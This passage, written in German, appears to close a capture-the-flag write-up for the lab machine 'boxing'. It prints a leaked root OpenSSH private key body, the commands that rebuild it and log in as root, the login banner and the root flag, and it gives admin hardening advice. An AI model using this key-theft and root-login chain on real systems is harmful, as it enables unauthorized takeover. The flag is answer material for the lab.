xzstCz753wF5dkh56nFk6L1NgePnep1svTZIoW2JPaMIvO67AiravAUOBgK0NqGiN9stZI ZpHQgSq3zbX8C/y46RMWYgG1SGW51r26Y0GT63lxWHvFE1jgYlpfWWFpumd0MA61Ts9dv0 w21pRunaPPjKfxMI4B3nLsX2JIVGLY79OqMQ5I7vuPP8E3KqP6+dpAuOe2Ky2boRzZsEbA THdn6jYJ5lQcXKJH4W5RAllwT9k46RVoxAIf6/y8Baov2tS0L8MXOHQ3iIoJpWWUuK1YpW U0C7OY2dYZPrMtH3Kk9Pqiv56yitGy83eIkJAlMuVmtOG3Q6J2X8OlJJNhoh67bCHkT0dK ix3USNgBB2w2UjOjol+2zoRpxScC6S7Q7CW1/tVTtgq6qxmCCcRaWoNbECDc7O2IPxAAAA wQDHW9nFIlT6/4AzRqpSfvmwXFKb/991DCPHWmnC53/c4LdJzBJLONr6w9O/IMsTTZhO+F ctmRvkcWiuLFDAt8VFFL6120cabHBk+7kTR9nciH/f0UfMBF169urR0VQYfIImnLUMRELW H8wsdqWKrwLRNs/Vo+Z3eRpeD5z+P1oAtckmk5gOlGfILgeM2Lf+se2sPoXwRQJ0DF8s7g fUWUv5XC84/VyGGUJ6NdpGZgam/cQT9RC5c6lGd4YMY5BdpygAAADBAMuN8ZKdL/j2Rtj3 clyP6oEcSNgbayta8JZCrnbDZGHx0qV14uC+BzYzvm3IvZuU1ONb4/TstBk3e+1JQWxv0m wLpznK3/oh8K/AjFXA8cLdNbBP1a9H0ik3UhEYt1EQz3twLecwPxROSyipsPcGisPVRPhp FzSiB42m2xRpRWjiSA1/tb33N0iPMEwJ8dPIIHt1iOzhHVqF/pamTQPoialiGO//vLYVau Jfx043EklOmxFWkZh9HkKO8fnM10m8bwAAAMEAtUMLbY+gFpQgc25QS2GavcIpUEMi5S33 t/clzQT49JUxJXwf2T1lmSfvX63kjG+wpeMVXA9cJMOsUdP/z+SYiQufFmiKDnDax0E3qw ILtyeAtVmE2tWuFDrlMr1browaGa9dTwoOk8LOrFT2I0jEHXUHsuO8UhjyFgFycPrVnMus zx5aME7kLsTVwoglNK65OLuWms2pvZkP3r7cbBmMeDXiatn/CoyjtzCRV0cUfUyy8VDUhX soRXxjA5g9dZrTAAAAC3Jvb3RAYm94aW5nAQIDBAUGBw== -----END
**Analyse:** Der private SSH-Schlüssel wird aus der (vermutlich in `sshroot` gespeicherten) Logdatei extrahiert und rekonstruiert: 1. `cat sshroot | awk '{print $1}' | tr -d ":"`: Extrahiert das erste Feld jeder Zeile (den Schlüsselteil) und entfernt Doppelpunkte, die von der `file`-Ausgabe stammen könnten. 2. Die Zeilen `-----BEGIN OPENSSH PRIVATE KEY-----` und `-----END OPENSSH PRIVATE KEY-----` werden manuell zu einer neuen Datei `rootkey` hinzugefügt. 3. Der extrahierte Schlüsselinhalt wird (vermutlich mit `vi`) zwischen die Begin/End-Markierungen in `rootkey` eingefügt.
**Bewertung:** Erfolgreiche Rekonstruktion des privaten SSH-Schlüssels von Root.
**Empfehlung (Pentester):** Setze die korrekten Dateiberechtigungen für `rootkey` (`chmod 600`) und verwende ihn für den SSH-Login als Root.
**Empfehlung (Admin):** Keine spezifischen Maßnahmen für diesen Schritt, außer den bereits genannten.
Setzen der korrekten Berechtigungen für die Schlüsseldatei und SSH-Login als Root.
The authenticity of host 'boxing.hmv (192.168.2.114)' can't be established. ED25519 key fingerprint is SHA256:wQ4AA13WzS+DnZ3CX93jGyXamANQ1waSb5GMik3XS1k. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'boxing.hmv' (ED25519) to the list of known hosts. Linux boxing 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Feb 4 17:19:34 2024 from 192.168.0.30 root@boxing:~#
19ed17ba1da85521ce659aeeb5ecd751
**Analyse:** 1. Mit `chmod 600 rootkey` werden die erforderlichen restriktiven Berechtigungen für den privaten Schlüssel gesetzt. 2. Der SSH-Login als `root` zum Ziel `boxing.hmv` wird mit der Schlüsseldatei `rootkey` versucht (`ssh root@boxing.hmv -i rootkey`). 3. Nach Bestätigung des Host-Schlüssels erfolgt der Login erfolgreich ohne Passwortabfrage. 4. Die Root-Flag wird aus `/root/root.txt` gelesen: `19ed17ba1da85521ce659aeeb5ecd751`.
**Bewertung:** Kritisch (Erfolg). Die Privilege Escalation über die Incron-Schwachstelle war erfolgreich und führte zu Root-Zugriff.
**Empfehlung (Pentester):** Test erfolgreich abgeschlossen. Dokumentiere die Ergebnisse und den Exploit-Pfad.
**Empfehlung (Admin):** **Höchste Priorität!** System ist kompromittiert. Alle vorherigen Empfehlungen (Incron, LFI, SSRF, Datenbank-Exposition, schwaches Passwort für Cassius, SSH-Härtung) umsetzen. Neuinstallation dringend empfohlen.
Abschließende Erfolgsmeldung.
Privilege Escalation erfolgreich
**Analyse:** Bestätigt den erfolgreichen Abschluss der Privilegienerweiterung.
**Bewertung:** Formale Bestätigung des Erfolgs.
**Empfehlung (Pentester):** Dokumentation abschließen.
**Empfehlung (Admin):** Maßnahmen einleiten.